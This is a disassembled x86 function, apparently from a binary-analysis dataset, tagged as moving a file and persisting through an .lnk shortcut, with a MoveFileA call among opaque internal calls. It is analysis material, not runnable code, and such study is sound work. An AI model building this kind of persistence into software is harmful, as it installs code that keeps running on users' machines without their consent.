Function at 0x431f1c
Capabilities:
Move file
Persist via lnk shortcut

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2f
push 0
push 0
dec ecx
jne 0x431f24
push ebx
xor eax, eax
push ebp
push 0x432c48
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x1c]
mov eax, dword [0x466aec]
mov eax, dword [eax]
mov edx, 0x432c60
call fcn.004162a0
lea eax, [ebp - 0x20]
call fcn.00436a78
mov eax, dword [ebp - 0x20]
call fcn.0043720c
test al, al
jne 0x431f78
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0x20]
call fcn.00408bc4
mov edx, dword [ebp - 0x28]
lea eax, [ebp - 0x20]
call fcn.00404484
lea eax, [ebp - 0x2c]
call fcn.00436ab8
mov edx, dword [ebp - 0x2c]
lea eax, [ebp - 0x14]
mov ecx, 0x432c6c
call fcn.004046f8
call fcn.0042cf8c
test al, al
jne 0x432497
lea edx, [ebp - 0x18]
mov eax, 1
call fcn.00402db0
call fcn.00434118
test al, al
je 0x431fd9
xor ebx, ebx
mov eax, 0x64
call fcn.004369c0
inc ebx
cmp ebx, 0x28
ja 0x431fd9
lea eax, [ebp - 0x30]
call fcn.0042e2bc
mov eax, dword [ebp - 0x30]
call fcn.00430c60
test al, al
je 0x431fb5
mov eax, dword [ebp - 0x14]
call fcn.0043720c
test al, al
jne 0x431ffb
lea edx, [ebp - 0x34]
mov eax, dword [ebp - 0x14]
call fcn.00408bc4
mov edx, dword [ebp - 0x34]
lea eax, [ebp - 0x14]
call fcn.00404484
mov eax, dword [ebp - 0x18]
call fcn.0043720c
test al, al
jne 0x43201d
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 0x18]
call fcn.00408bc4
mov edx, dword [ebp - 0x38]
lea eax, [ebp - 0x18]
call fcn.00404484
mov edx, dword [0x466c68]
mov edx, dword [edx]
lea eax, [ebp - 0x3c]
mov ecx, 0x432c6c
call fcn.004046f8
mov eax, dword [ebp - 0x3c]
call fcn.0043720c
test al, al
jne 0x432101
lea ecx, [ebp - 0x40]
mov eax, dword [0x466aec]
mov eax, dword [eax]
mov edx, 0x432c80
call fcn.004162a0
mov eax, dword [ebp - 0x40]
call fcn.00437ee0
test al, al
je 0x4320b9
push 0x10
push 0
push 0x1770
lea ecx, [ebp - 0x44]
mov eax, dword [0x466aec]
mov eax, dword [eax]
mov edx, 0x432c8c
call fcn.004162a0
mov eax, dword [ebp - 0x44]
call fcn.004048ac
push eax
lea ecx, [ebp - 0x4c]
mov eax, dword [0x466aec]
mov eax, dword [eax]
mov edx, 0x432c98
call fcn.004162a0
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x48]
call fcn.004190f4
mov eax, dword [ebp - 0x48]
call fcn.004048ac
mov edx, eax
xor eax, eax
pop ecx
call fcn.00436b28
mov eax, dword [0x466c68]
mov eax, dword [eax]
call fcn.004370e4
lea edx, [ebp - 0x50]
mov eax, 4
call fcn.00435f54
mov eax, dword [ebp - 0x50]
push eax
lea eax, [ebp - 0x54]
call fcn.004367bc
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x58]
mov eax, 0x432ca4
call fcn.004369c8
mov edx, dword [ebp - 0x58]
pop eax
call fcn.004046b4
mov eax, dword [ebp - 0x54]
pop edx
call fcn.00435e5c
lea ecx, [ebp - 0x5c]
mov eax, dword [0x466aec]
mov eax, dword [eax]
mov edx, 0x432cb4
call fcn.004162a0
mov eax, dword [ebp - 0x5c]
call fcn.00437ee0
test al, al
je 0x432b9d
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 0x14]
call fcn.00435674
lea ecx, [ebp - 0x60]
mov eax, dword [0x466aec]
mov eax, dword [eax]
mov edx, 0x432cc0
call fcn.004162a0
mov eax, dword [ebp - 0x60]
call fcn.00437ee0
test al, al
je 0x43221e
lea edx, [ebp - 0x64]
mov eax, 1
call fcn.00402db0
mov eax, dword [ebp - 0x64]
lea edx, [ebp - 0x24]
call fcn.00435674
mov eax, dword [0x466c68]
push dword [eax]
lea edx, [ebp - 0x6c]
mov eax, 0x432ccc
call fcn.004369c8
push dword [ebp - 0x6c]
push 0x432cd8
lea eax, [ebp - 0x68]
mov edx, 3
call fcn.0040476c
mov eax, dword [ebp - 0x68]
mov edx, dword [ebp - 0x24]
call fcn.00435e5c
lea edx, [ebp - 0x24]
mov eax, dword [ebp - 0x20]
call fcn.00435674
mov edx, dword [0x466c68]
mov edx, dword [edx]
lea eax, [ebp - 0x70]
mov ecx, 0x432ce8
call fcn.004046f8
mov eax, dword [ebp - 0x70]
mov edx, dword [ebp - 0x24]
call fcn.00435e5c
mov edx, dword [0x466c68]
mov edx, dword [edx]
lea eax, [ebp - 0x74]
mov ecx, 0x432c6c
call fcn.004046f8
mov eax, dword [ebp - 0x74]
mov edx, dword [ebp - 0x10]
call fcn.00435e5c
lea ecx, [ebp - 0x7c]
mov edx, dword [ebp - 0x1c]
mov eax, dword [0x467c68]
call fcn.004348d4
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 4]
lea ecx, [ebp - 0x78]
mov edx, dword [ebp - 0x1c]
call fcn.00435738
mov edx, dword [ebp - 0x78]
mov eax, 0x467c6c
call fcn.00404440
jmp 0x432484
lea ecx, [ebp - 0x80]
mov eax, dword [0x466aec]
mov eax, dword [eax]
mov edx, 0x432cfc
call fcn.004162a0
mov eax, dword [ebp - 0x80]
call fcn.00437ee0
test al, al
je 0x4323d3
call fcn.00433d48
cmp eax, 7
jne 0x432268
lea eax, [ebp - 0xc]
mov edx, 0x432d08
call fcn.00404484
lea eax, [ebp - 8]
mov edx, 0x432d1c
call fcn.00404484
jmp 0x432282
lea eax, [ebp - 0xc]
mov edx, 0x432d2c
call fcn.00404484
lea eax, [ebp - 8]
mov edx, 0x432d48
call fcn.00404484
lea eax, [ebp - 0x84]
call fcn.00436ab8
lea eax, [ebp - 0x84]
mov edx, dword [ebp - 0xc]
call fcn.004046b4
mov eax, dword [ebp - 0x84]
lea edx, [ebp - 4]
call fcn.00435674
cmp dword [ebp - 4], 0
jne 0x4322ba
lea edx, [ebp - 4]
mov eax, dword [ebp - 0xc]
call fcn.00435674
lea eax, [ebp - 0x88]
call fcn.00436ab8
lea eax, [ebp - 0x88]
mov edx, 0x432c6c
call fcn.004046b4
mov eax, dword [ebp - 0x88]
lea edx, [ebp - 0x10]
call fcn.00435674
cmp dword [ebp - 0x10], 0
jne 0x4322f6
lea edx, [ebp - 0x10]
mov eax, 0x432c6c
call fcn.00435674
lea eax, [ebp - 0x8c]
call fcn.00436a78
mov eax, dword [ebp - 0x8c]
lea edx, [ebp - 0x24]
call fcn.00435674
cmp dword [ebp - 0x24], 0
jne 0x43233f
lea eax, [ebp - 0x94]
call fcn.00436a78
mov eax, dword [ebp - 0x94]
lea edx, [ebp - 0x90]
call fcn.00408bc4
mov eax, dword [ebp - 0x90]
lea edx, [ebp - 0x24]
call fcn.00435674
mov edx, dword [0x466c68]
mov edx, dword [edx]
lea eax, [ebp - 0x98]
mov ecx, dword [ebp - 0xc]
call fcn.004046f8
mov eax, dword [ebp - 0x98]
mov edx, dword [ebp - 4]
call fcn.00435e5c
mov edx, dword [0x466c68]
mov edx, dword [edx]
lea eax, [ebp - 0x9c]
mov ecx, 0x432c6c
call fcn.004046f8
mov eax, dword [ebp - 0x9c]
mov edx, dword [ebp - 0x10]
call fcn.00435e5c
mov edx, dword [0x466c68]
mov edx, dword [edx]
lea eax, [ebp - 0xa0]
mov ecx, dword [ebp - 8]
call fcn.004046f8
mov eax, dword [ebp - 0xa0]
mov edx, dword [ebp - 0x24]
call fcn.00435e5c
lea ecx, [ebp - 0xa4]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
call fcn.00433e6c
mov edx, dword [ebp - 0xa4]
mov eax, 0x467c6c
call fcn.00404440
jmp 0x432484
lea ecx, [ebp - 0xa8]
mov eax, dword [0x466aec]
mov eax, dword [eax]
mov edx, 0x432d68
call fcn.004162a0
mov eax, dword [ebp - 0xa8]
call fcn.00437ee0
test al, al
je 0x432484
lea edx, [ebp - 4]
mov eax, 0x432d74
call fcn.00435674
lea edx, [ebp - 0x10]
mov eax, 0x432c6c
call fcn.00435674
mov edx, dword [0x466c68]
mov edx, dword [edx]
lea eax, [ebp - 0xac]
mov ecx, 0x432d74
call fcn.004046f8
mov eax, dword [ebp - 0xac]
mov edx, dword [ebp - 4]
call fcn.00435e5c
mov edx, dword [0x466c68]
mov edx, dword [edx]
lea eax, [ebp - 0xb0]
mov ecx, 0x432c6c
call fcn.004046f8
mov eax, dword [ebp - 0xb0]
mov edx, dword [ebp - 0x10]
call fcn.00435e5c
lea ecx, [ebp - 0xb4]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
call fcn.00433e6c
mov edx, dword [ebp - 0xb4]
mov eax, 0x467c6c
call fcn.00404440
call fcn.00430904
test al, al
je 0x432497
call fcn.00436a60
jmp 0x432b9d
lea ecx, [ebp - 0xb8]
mov eax, dword [0x466aec]
mov eax, dword [eax]
mov edx, 0x432cb4
call fcn.004162a0
mov eax, dword [ebp - 0xb8]
call fcn.00437ee0
test al, al
je 0x432b9d
mov edx, 0x432cc0
lea ecx, [ebp - 0xbc]
mov eax, dword [0x466aec]
mov eax, dword [eax]
call fcn.004162a0
mov eax, dword [ebp - 0xbc]
call fcn.00437ee0
test al, al
je 0x432536
mov eax, dword [0x466c68]
push dword [eax]
lea edx, [ebp - 0xc0]
mov eax, 0x432ccc
call fcn.004369c8
push dword [ebp - 0xc0]
push 0x432cd8
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.0040476c
lea edx, [ebp - 0xc4]
mov eax, dword [ebp - 0x18]
call fcn.00435674
mov edx, dword [ebp - 0xc4]
mov eax, 0x467c68
call fcn.00404440
jmp 0x43255c
mov edx, dword [0x466c68]
mov edx, dword [edx]
lea eax, [ebp - 0xc8]
mov ecx, 0x432c6c
call fcn.004046f8
mov eax, dword [ebp - 0xc8]
lea edx, [ebp - 0x10]
call fcn.00435674
mov edx, 0x432cc0
lea ecx, [ebp - 0xcc]
mov eax, dword [0x466aec]
mov eax, dword [eax]
call fcn.004162a0
mov eax, dword [ebp - 0xcc]
call fcn.00437ee0
test al, al
je 0x432592
mov dx, 1
mov eax, dword [0x467c68]
call fcn.004319d8
jmp 0x43259e
mov dx, 1
mov eax, dword [ebp - 0x10]
call fcn.004319d8
mov edx, 0x432cc0
lea ecx, [ebp - 0xd0]
mov eax, dword [0x466aec]
mov eax, dword [eax]
call fcn.004162a0
mov eax, dword [ebp - 0xd0]
call fcn.00437ee0
test al, al
je 0x432600
lea ecx, [ebp - 0xd8]
mov edx, dword [ebp - 0x1c]
mov eax, dword [0x467c68]
call fcn.004348d4
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax + 4]
lea ecx, [ebp - 0xd4]
mov edx, dword [ebp - 0x1c]
call fcn.00435738
mov edx, dword [ebp - 0xd4]
mov eax, 0x467c6c
call fcn.00404440
jmp 0x43261e
lea edx, [ebp - 0xdc]
mov eax, dword [ebp - 0x10]
call fcn.00433ed0
mov edx, dword [ebp - 0xdc]
mov eax, 0x467c6c
call fcn.00404440
lea eax, [ebp - 0x24]
call fcn.0042fce8
mov eax, dword [0x4669b4]
mov byte [eax], 0
mov eax, dword [0x4669ac]
mov byte [eax], 0
mov eax, dword [ebp - 0x24]
call fcn.004375bc
test al, al
jne 0x4327b6
mov eax, dword [0x4669ac]
mov byte [eax], 1
mov edx, 0x432cc0
lea ecx, [ebp - 0xe0]
mov eax, dword [0x466aec]
mov eax, dword [eax]
call fcn.004162a0
mov eax, dword [ebp - 0xe0]
call fcn.00437ee0
test al, al
je 0x4326e9
mov eax, dword [0x466c68]
push dword [eax]
lea edx, [ebp - 0xe8]
mov eax, 0x432ccc
call fcn.004369c8
push dword [ebp - 0xe8]
push 0x432cd8
lea eax, [ebp - 0xe4]
mov edx, 3
call fcn.0040476c
mov eax, dword [ebp - 0xe4]
push eax
lea eax, [ebp - 0xec]
call fcn.0042fbf4
mov eax, dword [ebp - 0xec]
push eax
mov edx, dword [0x466c68]
mov edx, dword [edx]
lea eax, [ebp - 0xf0]
mov ecx, 0x432ce8
call fcn.004046f8
mov eax, dword [ebp - 0xf0]
pop ecx
pop edx
call fcn.0042f908
jmp 0x432a62
mov edx, 0x432cfc
lea ecx, [ebp - 0xf4]
mov eax, dword [0x466aec]
mov eax, dword [eax]
call fcn.004162a0
mov eax, dword [ebp - 0xf4]
call fcn.00437ee0
test al, al
je 0x43274c
lea eax, [ebp - 0xf8]
call fcn.0042fbf4
mov eax, dword [ebp - 0xf8]
push eax
mov edx, dword [0x466c68]
mov edx, dword [edx]
lea eax, [ebp - 0xfc]
mov ecx, 0x432d48
call fcn.004046f8
mov eax, dword [ebp - 0xfc]
xor edx, edx
pop ecx
call fcn.0042f908
jmp 0x432a62
mov edx, 0x432d68
lea ecx, [ebp - 0x100]
mov eax, dword [0x466aec]
mov eax, dword [eax]
call fcn.004162a0
mov eax, dword [ebp - 0x100]
call fcn.00437ee0
test al, al
je 0x432a62
lea eax, [ebp - 0x104]
call fcn.0042fbf4
mov eax, dword [ebp - 0x104]
push eax
mov edx, dword [0x466c68]
mov edx, dword [edx]
lea eax, [ebp - 0x108]
mov ecx, 0x432d88
call fcn.004046f8
mov edx, dword [ebp - 0x108]
mov eax, 0x432da4
pop ecx
call fcn.0042f908
jmp 0x432a62
mov edx, 0x432cc0
lea ecx, [ebp - 0x10c]
mov eax, dword [0x466aec]
mov eax, dword [eax]
call fcn.004162a0
mov eax, dword [ebp - 0x10c]
call fcn.00437ee0
test al, al
je 0x432878
lea eax, [ebp - 0x110]
call fcn.004367bc
lea eax, [ebp - 0x110]
push eax
lea edx, [ebp - 0x114]
mov eax, 0x432dbc
call fcn.004369c8
mov edx, dword [ebp - 0x114]
pop eax
call fcn.004046b4
mov eax, dword [ebp - 0x110]
push eax
mov eax, dword [0x466c68]
push dword [eax]
lea edx, [ebp - 0x11c]
mov eax, 0x432ccc
call fcn.004369c8
push dword [ebp - 0x11c]
push 0x432cd8
lea eax, [ebp - 0x118]
mov edx, 3
call fcn.0040476c
mov eax, dword [ebp - 0x118]
push eax
mov edx, dword [0x466c68]
mov edx, dword [edx]
lea eax, [ebp - 0x120]
mov ecx, 0x432ce8
call fcn.004046f8
mov eax, dword [ebp - 0x120]
pop edx
pop ecx
call fcn.0042fa5c
jmp 0x4329f0
mov edx, 0x432cfc
lea ecx, [ebp - 0x124]
mov eax, dword [0x466aec]
mov eax, dword [eax]
call fcn.004162a0
mov eax, dword [ebp - 0x124]
call fcn.00437ee0
test al, al
je 0x43296c
call fcn.00433d48
cmp eax, 7
jne 0x43290c
lea eax, [ebp - 0x128]
call fcn.004367bc
lea eax, [ebp - 0x128]
push eax
lea edx, [ebp - 0x12c]
mov eax, 0x432dbc
call fcn.004369c8
mov edx, dword [ebp - 0x12c]
pop eax
call fcn.004046b4
mov eax, dword [ebp - 0x128]
push eax
mov edx, dword [0x466c68]
mov edx, dword [edx]
lea eax, [ebp - 0x130]
mov ecx, 0x432d1c
call fcn.004046f8
mov eax, dword [ebp - 0x130]
xor edx, edx
pop ecx
call fcn.0042fa5c
jmp 0x4329f0
lea eax, [ebp - 0x134]
call fcn.004367bc
lea eax, [ebp - 0x134]
push eax
lea edx, [ebp - 0x138]
mov eax, 0x432dbc
call fcn.004369c8
mov edx, dword [ebp - 0x138]
pop eax
call fcn.004046b4
mov eax, dword [ebp - 0x134]
push eax
mov edx, dword [0x466c68]
mov edx, dword [edx]
lea eax, [ebp - 0x13c]
mov ecx, 0x432d48
call fcn.004046f8
mov eax, dword [ebp - 0x13c]
xor edx, edx
pop ecx
call fcn.0042fa5c
jmp 0x4329f0
mov edx, 0x432d68
lea ecx, [ebp - 0x140]
mov eax, dword [0x466aec]
mov eax, dword [eax]
call fcn.004162a0
mov eax, dword [ebp - 0x140]
call fcn.00437ee0
test al, al
je 0x4329f0
lea eax, [ebp - 0x144]
call fcn.004367bc
lea eax, [ebp - 0x144]
push eax
lea edx, [ebp - 0x148]
mov eax, 0x432dbc
call fcn.004369c8
mov edx, dword [ebp - 0x148]
pop eax
call fcn.004046b4
mov eax, dword [ebp - 0x144]
push eax
mov edx, dword [0x466c68]
mov edx, dword [edx]
lea eax, [ebp - 0x14c]
mov ecx, 0x432d88
call fcn.004046f8
mov edx, dword [ebp - 0x14c]
mov eax, 0x432da4
pop ecx
call fcn.0042fa5c
push dword [ebp - 0x24]
mov eax, dword [0x4669b0]
push dword [eax]
push 0x432dc8
mov eax, 0x467c64
mov edx, 3
call fcn.0040476c
mov eax, 0x29a
call fcn.004369c0
mov eax, dword [0x467c64]
call fcn.004048ac
push eax
lea eax, [ebp - 0x150]
call fcn.004367bc
lea eax, [ebp - 0x150]
push eax
lea edx, [ebp - 0x154]
mov eax, 0x432dbc
call fcn.004369c8
mov edx, dword [ebp - 0x154]
pop eax
call fcn.004046b4
mov eax, dword [ebp - 0x150]
call fcn.004048ac
push eax
call sub.kernel32.dll_MoveFileA
lea eax, [ebp - 0x158]
call fcn.004367bc
lea eax, [ebp - 0x158]
push eax
lea edx, [ebp - 0x15c]
mov eax, 0x432ca4
call fcn.004369c8
mov edx, dword [ebp - 0x15c]
pop eax
call fcn.004046b4
mov eax, dword [ebp - 0x158]
call fcn.0043720c
test al, al
je 0x432b93
lea eax, [ebp - 0x160]
call fcn.004367bc
lea eax, [ebp - 0x160]
push eax
lea edx, [ebp - 0x164]
mov eax, 0x432ca4
call fcn.004369c8
mov edx, dword [ebp - 0x164]
pop eax
call fcn.004046b4
mov eax, dword [ebp - 0x160]
call fcn.004341ac
mov eax, dword [0x46694c]
cmp byte [eax], 0
je 0x432b13
lea ecx, [ebp - 0x168]
mov eax, dword [0x466aec]
mov eax, dword [eax]
mov edx, 0x432dd8
call fcn.004162a0
mov eax, dword [ebp - 0x168]
call fcn.00437ee0
test al, al
je 0x432b13
xor eax, eax
call fcn.004302d8
mov eax, dword [0x46694c]
cmp byte [eax], 0
jne 0x432b93
mov edx, 0x432cc0
lea ecx, [ebp - 0x16c]
mov eax, dword [0x466aec]
mov eax, dword [eax]
call fcn.004162a0
mov eax, dword [ebp - 0x16c]
call fcn.00437ee0
test al, al
je 0x432b93
mov eax, dword [0x466c68]
push dword [eax]
lea edx, [ebp - 0x178]
mov eax, 0x432ccc
call fcn.004369c8
push dword [ebp - 0x178]
push 0x432cd8
lea eax, [ebp - 0x174]
mov edx, 3
call fcn.0040476c
mov eax, dword [ebp - 0x174]
lea edx, [ebp - 0x170]
call fcn.00435674
mov eax, dword [ebp - 0x170]
xor edx, edx
call fcn.004319d8
mov eax, 0x4313ac
call fcn.00436230
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x432c52
lea eax, [ebp - 0x178]
mov edx, 0x1d
call fcn.00404410
lea eax, [ebp - 0x104]
call fcn.00404a9c
lea eax, [ebp - 0x100]
mov edx, 2
call fcn.00404410
lea eax, [ebp - 0xf8]
call fcn.00404a9c
lea eax, [ebp - 0xf4]
mov edx, 2
call fcn.00404410
lea eax, [ebp - 0xec]
call fcn.00404a9c
lea eax, [ebp - 0xe8]
mov edx, 4
call fcn.00404410
lea eax, [ebp - 0xd8]
mov edx, dword [0x433d1c]
call fcn.004058e8
lea eax, [ebp - 0xd4]
mov edx, 0x16
call fcn.00404410
lea eax, [ebp - 0x7c]
mov edx, dword [0x433d1c]
call fcn.004058e8
lea eax, [ebp - 0x78]
mov edx, 0x1e
call fcn.00404410
ret